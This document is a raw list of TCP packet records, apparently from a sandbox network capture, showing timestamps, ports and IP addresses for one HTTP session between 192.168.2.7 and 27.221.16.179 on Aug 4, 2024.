Aug 4, 2024 10:57:51.905127048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.905160904 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.905195951 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.905210018 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.905231953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.905267000 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.905282021 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.906049967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906085014 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906107903 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.906120062 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906179905 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.906205893 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906240940 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906286001 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.906892061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906925917 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906961918 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.906970024 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.907043934 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.907078028 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.907088041 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.907624006 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.907666922 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.252428055 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252444983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252511024 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252511978 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.252577066 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252593040 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252618074 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.252727032 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252742052 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252758980 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.252887011 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.253483057 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.253535986 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.253551006 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.253582954 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.253660917 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.253676891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.253694057 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.253705025 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.253734112 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.254539013 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.254565001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.254602909 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.254641056 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.254656076 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.254703999 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.600912094 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.600934982 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.600949049 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.600965023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601008892 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.601066113 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.601109028 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601139069 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601171017 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601182938 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.601187944 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601207018 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601227045 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.601721048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601764917 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601769924 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.601787090 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601835012 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.601922989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601938963 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.601995945 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.602044106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.602060080 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.602119923 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.602711916 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.602761030 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.602777004 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.602798939 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.602962017 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.602976084 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.603007078 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.655241966 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.949593067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.949651957 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.949690104 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.949775934 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.949800014 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.949815989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.949839115 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.949909925 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.949954033 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.949981928 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950016022 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950050116 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950102091 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.950180054 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950215101 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950248957 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950283051 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950304031 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.950860023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950916052 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950951099 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.950968027 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.951070070 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.951103926 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.951139927 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.951153040 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:52.951196909 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:52.951822996 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.298491001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298544884 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298607111 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298645020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298675060 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.298680067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298713923 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298717976 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.298755884 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298794985 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298835039 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.298835993 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.298862934 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.298964024 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299002886 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299021959 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.299093008 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299128056 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299163103 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299199104 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299218893 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.299303055 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299386024 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.299829006 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299887896 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299926043 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.299952030 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.300018072 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.300052881 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.300065994 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.300090075 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.300153971 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.646612883 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.646796942 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.646812916 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.646828890 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.646847963 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.646862030 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.646909952 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.646987915 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647003889 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647047043 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.647176981 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647239923 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647255898 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647259951 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.647273064 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647298098 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.647813082 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647862911 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.647866011 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647882938 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.647927999 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.648024082 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648040056 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648083925 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.648135900 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648153067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648168087 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648199081 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.648670912 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648720026 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.648739100 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648756027 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648817062 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.648853064 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648869038 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648885965 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.648916006 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.995160103 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995234966 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995261908 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995332956 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995353937 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.995394945 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.995425940 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995455027 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995529890 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995559931 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995587111 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.995623112 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.995641947 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995670080 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995722055 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.995810032 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995836973 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995863914 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995896101 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.995897055 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.996036053 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996066093 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996097088 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.996114969 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.996418953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996448994 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996479034 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996517897 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.996603966 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996633053 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996660948 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996678114 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.996695042 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996704102 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.996804953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996896029 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.996948004 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:53.997381926 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.997456074 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:53.997510910 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.100610018 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.100630999 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.100646973 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.100665092 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.100708008 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.100747108 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.101413012 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101429939 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101444006 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101484060 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.101562023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101579905 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101596117 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101609945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101618052 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.101628065 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.101639986 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.101660967 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.102339983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.102355957 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.102371931 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.102387905 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.102407932 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.102423906 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.102449894 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.102991104 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103010893 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103025913 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103044987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103063107 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.103070974 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103087902 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103091955 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.103104115 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103116989 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.103148937 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103166103 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103183031 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.103190899 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.103215933 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.104814053 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.105835915 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.404133081 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404155016 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404169083 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404190063 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404206038 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404227972 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404279947 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.404293060 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404311895 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404347897 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404369116 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.404369116 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.404406071 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404450893 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.404504061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404520035 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404536963 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404562950 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.404614925 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404630899 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404647112 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404661894 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.404664993 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.404695034 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.405313015 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405359030 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.405364037 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405380011 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405416965 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.405462980 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405478001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405494928 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405513048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405524969 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.405554056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.405581951 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405644894 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405662060 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.405687094 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.406286001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.406337023 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.406361103 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.452214956 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933160067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933180094 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933197021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933224916 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933243036 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933258057 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933274031 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933289051 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933290005 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933306932 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933322906 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933339119 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933346987 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933355093 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933362007 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933372021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933387995 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933399916 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933403969 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933422089 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933425903 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933440924 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933458090 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933459997 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933499098 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.933943033 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933959007 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933974028 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.933999062 CEST	49757	80	192.168.2.7	27.221.16.179
